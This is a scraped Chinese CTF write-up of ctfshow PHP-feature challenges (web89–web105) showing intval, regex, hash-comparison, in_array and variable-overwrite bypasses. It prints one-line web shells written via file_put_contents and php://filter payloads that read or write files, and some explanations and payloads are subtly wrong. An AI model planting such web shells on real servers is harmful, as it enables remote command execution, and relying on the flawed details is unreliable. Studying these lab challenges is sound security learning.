当前位置: 首页 > news >正文

cfshow-web入门-php特性

web89

<?php
​
include("flag.php");
highlight_file(__FILE__);
​
if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}
}

正则匹配检查不能是数字,但后面要求必须是数字才能输出flag。

这种情况是利用数组的特性,正则匹配是检测数组返回0,intval()函数是遇到数组返回为1,所以数组是完美的绕过方式。

?num[]=1

web90

<?php
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){echo $flag;}else{echo intval($num,0);} 

典型的intval()函数绕过。intval函数介绍:

int intval( $var, $base )

参数

  • $var:需要转换成 integer 的「变量」

  • $base:转换所使用的「进制」

进制自动转换

base 为空时,默认进制转换。

0开头,默认转换为8进制

0x开头,默认转换为16进制

其他均转换为10进制。

返回值

返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。

0:失败 或 空array 返回 0 1:非空array 返回 1 其他integer值:成功时 返回 $var 的 integer 值。

返回值的「最大值」取决于系统

32 位系统(-2147483648 到 2147483647) 64 位系统(-9223372036854775808到9223372036854775807)

intval()绕过思路

1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。 2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。 3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。 4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号) 5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。 6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。

web91

<?php
​
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
} 

这道题目考点:正则匹配的两种不同模式。

/im:不忽略大小写,且匹配多行。

/i: 不忽略大小写

因此这道题目的解法在于添加换行符:%0a,并且出现php字符串。

?cmd=%0aphp

web93

对于intval()函数的绕过有多种方法:十进制,十六进制,八进制。

禁用字符的话则十六进制无法使用。

web94

 <?php
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){die("no no no!");}if(intval($num,0)===4476){echo $flag;}
} 

增加了strpos()函数的过滤,该函数用来检测字符在变量中第一次出现的位置,有的话返回1。

所以绕过方法是使用小数点绕过。或者以八进制的形式绕过。

?num=4437.0

?num=+010574

但0不能再开头,因为在开头strpos()函数的返回值是0,字符串的下标位置是以0开头的,所以strpos()函数的返回值是0,仍然无法饶过。

web95

<?php
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
}

由于过滤了小数点,因此小数无法使用,只能用八进制进行绕过。 在使用八进制的时候要注意因为

?num=+010574

与web94一毛一样。

web96

考察如何在当前目录下读取文件。

./表示当前的目录,因此./flag.php既可绕过对flag.php的绕过,又可以查看当前目录文件。

另一种方法:使用伪协议的方式进行读取文件。

?u=php://filter/read=convert.base64-encode/resource=flag.php

该题不能使用日志包含漏洞,一句话木马被过滤。

web97

MD5碰撞:

使用数组进行绕过,数组md5检测时无法进行检测,返回值为null。因此绕过检测。

web98

<?php
​
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
​
?> 

考察了三元运算符,以及get 和 post的传参方法。

$GET?$GET=&$_POST:'flag'; 这句代码决定了存在get传参为真,则get传参改编为post传参。

中间代码没有作用,只在最后HTTP_FLAG中以post传入参数flag,即会执行$flag。

所以payload:

get:?1

post:HTTP_FLAG=flag

第二种方法:

利用cookie进行传值。

因为进行get传参后,传参方法由get变为post。

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; <=> $_POST['flag']=='flag'?$_GET=&$_COOKIE:'flag'

所以在post传入flag=flag,则 $POST['flag']=='flag'?$GET=&$_COOKIE:'flag'为真,所以传参位置改变为cookie位置。因此在cookie位置传入:HTTP_FLAG=flag,也能得到flag。

web99

<?php
​
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
​
?> 
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}

代码解释:
for ($i=36; $i < 0x36d; $i++)
这是一个 for 循环。循环从 $i=36 开始,并在每次循环时自增 $i,直到 $i 达到 0x36d。

0x36d 是一个十六进制数,转换为十进制为 877。
所以循环会从 $i=36 到 $i=876,总共执行 876 - 36 + 1 = 841 次。
   
array_push($allow, rand(1, $i));
在每次循环中,调用 rand(1, $i) 函数生成一个介于 1 和 $i 之间的随机整数,然后使用 array_push 函数将这个随机数添加到数组 $allow 中。

例如,在第一次循环中, $i=36,那么 rand(1, 36) 会生成一个 1 到 36 之间的随机整数。
在下一次循环中, $i=37,因此 rand(1, 37) 会生成 1 到 37 之间的随机整数,以此类推,直到 $i=876。

总结:该代码是生成1-876之间的随机数。

漏洞点:in_array()函数。

in_array(search, array, type),第一个是指定匹配的数字,第二个是产生匹配数字的数组,第三个是true则判断类型,false,则不判断。

在php中存在数字的字符串和数字进行比较时,会忽略掉数字后后面的其他字符串。因此payload为:

get:?n=1.php 这里的5可以是任意数字,因为题目使用随机数在数组里插入值,因此多试几次就能够匹配正确。

post:写入一句话木马 content=?php@eval($_REQUEST['a']);?

出现问题:一句话木马不能成功执行,该用wp上的php代码。

content=<?php system($_POST[1]);?>,这句后门shell,是写入1.php这个文件,这与file_put_contents函数有关,第一个参数指定要写入的文件。

web100

<?php
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}
​
?>

有v1, v2, v3 三个参数,

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这句代码在执行了 is_numeric($v1) 后,就会先执行后面的判断语句,因此要保证v0为真,只需要使得v1为数字。在下面的判断语句中,v2不能出现 ;v3需要出现 ;在eval()函数中会将字符串当做命令进行执行,因此需要在v2 或者 v3的传入读取class ctfshow($ctfshow)的命令。

payload :?v1=1&v2=var_dump($ctfshow)&v3=/**/; var_dump输出$ctfshow的内容

?v1=1&v2=var_dump($ctfshow)&v3=;

?v1=1&v2=var_dump($ctfshow)/&v3=/;

三种payload都能够输出$ctfshow的内容。所以这里v3中的分号是表示执行完整php代码,因此不可缺少。加/**/

应该是为了注释掉v2和v3之间的字符串。

web101

<?php
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}}}
​
?>

payload : ?v1=12&v2var_dump($ctfshow/&v3=/);

该题与上一题不同,不能使用var_dump()函数。因为v2, v3分别过滤了)和(。

该题由于是要调用类,所以可以利用 new Reflectionclass建立反射类,利用反射类可以返回类的元数据信息。

反射类返回元数据信息如下:

在 PHP 中,元数据(metadata)是指关于代码和程序的描述信息,包括类、属性、方法和参数等。元数据可以在运行时动态地获取和操作,这使得 PHP 应用程序可以更加灵活和可扩展。

payload: ?v1=1&v2=echo new Reflectionclass&v3=;

flag少了一位,并不是全部的字母和数字都要尝试,该flag是由a-f+0-9的内容组成,所以只需要在这几个里面尝试就可以。

flag = ctfshow{ee8f6db0-f4c2-4a1d-9b81-894e27574fa5}

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}
​
?>

substr()函数,是截取字符串中的字符。
   
substr ( string `$string` , int `$start` [, int `$length` ] )
string `$string`:需要截取的字符串
int `$start`:开始截取的位置
[, int `$length` ]:截取字符串的长度。

call_user_func($v1,$s)  函数的一种调用形式

第一个参数是要调用的函数,第二个是调用函数的参数。

file_put_contents($v3,$str);

$v3创建文件,$str写入文件内容。

通过各函数对参数的调用,得出每个参数应该要做的工作:

v1:调用的函数

v2:写入文件的内容

v3:是要创建的文件。

由于要忽略v2的前两个字符,因此该题目要通过16进制的方式绕过。

v2 = <?=cat *; (该代码是查看文件夹中全部文件的内容,简写的原因是:is_numeric()函数对输入的数字有长度限制(大致是18位))

v3 = php://filter/write=convert.base64-decode/resource=2.php

利用base64伪协议的方法创建一个文件,因此v2的内容要进行base64加密:

v2 = PD89YGNhdCAqYDs(base64后面的等号可以去掉)

因为要绕过is_numeric()函数,所以需要还要将v2的内容进行16进制转化,要转化为16进制的ascii。

v2 = 115044383959474e6864434171594473

这里要注意:因为v2要忽略前面的两个字符,所以需要在16进制前随便加两个数字。

由于v1是执行的函数,所以可以将v2的内容从16进制转化为base64编码。从而访问2.php可以得到当前文件夹文件的信息。

v1 = hex2bin

hex2bin ( string `$data` ) : string
​
转换十六进制字符串为二进制字符串。

结果:

web103

 <?php
​
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}
?>

增加了过滤,但是仍然可以用web102的payload的绕过。

web104

<?php
​
highlight_file(__FILE__);
include("flag.php");
​
if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}
}
​
?>
md5:
​
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
​
​
sha1:
​
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

paylaod1:相同字符:

v1 =a v2=a

payload2:数组

v1[]=1 v2[]=2

payload3: 选择特殊字符串

v1 = aaroZmOk: 0e66507019969427134894567494305185566735 v2 = aaK1STfY: 0e76658526655756207688271159624026011393

web105

<?php
​
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;
}foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);
}
echo "your are good".$flag."\n";
die($suces);
​
?>
你还想要flag嘛?

$$key = $$value get: ?flag = flag

该题目考点是变量覆盖:

方法一:

get传入:?suces = flag

post传入:error = suces

在变量覆盖以后,$error中的值即为$flag。因此在if(!($_POST['flag']==$flag))判断语句中执行die()函数即可输出flag。

方法二:

get传参:?suces = flag&flag=

这样的方式能够绕过第三个判断,执行最后的echo语句。但是如何绕过post传参的第三个判断不理解


文章转载自:

http://tNF3NO79.brwwr.cn
http://MCLysB1Y.brwwr.cn
http://BftZmPRd.brwwr.cn
http://g6gugrBs.brwwr.cn
http://00JQeifm.brwwr.cn
http://CbL8dKQU.brwwr.cn
http://iTUc5wLO.brwwr.cn
http://4Ldyiq1G.brwwr.cn
http://xICmAiEe.brwwr.cn
http://DQTBIJM2.brwwr.cn
http://Y5VGCBcI.brwwr.cn
http://Sa49ThZo.brwwr.cn
http://gmdqKDgW.brwwr.cn
http://RGipPTYQ.brwwr.cn
http://QATochD9.brwwr.cn
http://9QkD5lp1.brwwr.cn
http://c8wmnvnt.brwwr.cn
http://6kxaEJro.brwwr.cn
http://uM8qVyaN.brwwr.cn
http://U7QB5SoS.brwwr.cn
http://LdBL848H.brwwr.cn
http://9AKRjWTb.brwwr.cn
http://VxLZ1RWa.brwwr.cn
http://VzMZ7Mnz.brwwr.cn
http://vT2WIWlr.brwwr.cn
http://gd2sBYhJ.brwwr.cn
http://j6kLhxy9.brwwr.cn
http://mevB213W.brwwr.cn
http://yD0iXwlt.brwwr.cn
http://CDpKT3Wr.brwwr.cn
http://www.dtcms.com/a/375792.html

相关文章:

  • libvirt 新手指南:从零开始掌握虚拟化管理
  • Oracle打补丁笔记
  • 【JavaEE】(24) Linux 基础使用和程序部署
  • TENGJUN防水TYPE-C连接器:工业级防护,认证级可靠,赋能严苛场景连接
  • Spring MVC 的常用注解
  • 肺炎检测系统
  • ctfshow-web-SSTI模版注入
  • RHEL 10 更新 rescue kernel
  • Vue3 + Vite + Element Plus web转为 Electron 应用,解决无法登录、隐藏自定义导航栏
  • 记SpringBoot3.x + SpringSecurity6.x之session管理
  • Pinia 两种写法全攻略:Options 写法 vs Setup 写法
  • 项目管理系统高保真原型案例:剖析设计思路与技巧
  • 第2节-过滤表中的行-DELETE
  • 基于AI的未佩戴安全帽检测算法
  • webpack打包方式
  • 第2节-过滤表中的行-WHERE
  • linux内核 - 内核是一个分层的系统
  • 基于Multi-Transformer的信息融合模型设计与实现
  • C# 14 新特性详解
  • Java实战项目演示代码及流的使用
  • BFS在路径搜索中的应用
  • Shell 脚本基础完全指南:语法、调试、运行与实战详解
  • Claude-Flow AI协同开发:钩子系统与 GitHub 集成
  • 食品饮料生产工艺优化中 CC-Link IE FB 转 DeviceNet 协议下西门子 S7-1500 与倍加福流量传感器的应用
  • 清源 SCA 社区版更新(V4.2.0)|漏洞前置感知、精准修复、合规清晰,筑牢软件供应链安全防线!
  • Seaborn库
  • 2031 年达 13.9 亿美元!工业温度控制器市场 CAGR4.2%:技术路径、应用场景与未来机遇全解析
  • sklearn 加州房价数据集 fetch_california_housing 出错 403: Forbidden 修复方案
  • mybatis plus 如何更新参数为空, mybatis plus update方法如何更新参数为null, update()如何设置参数=null
  • Spring Boot 项目新增 Module 完整指南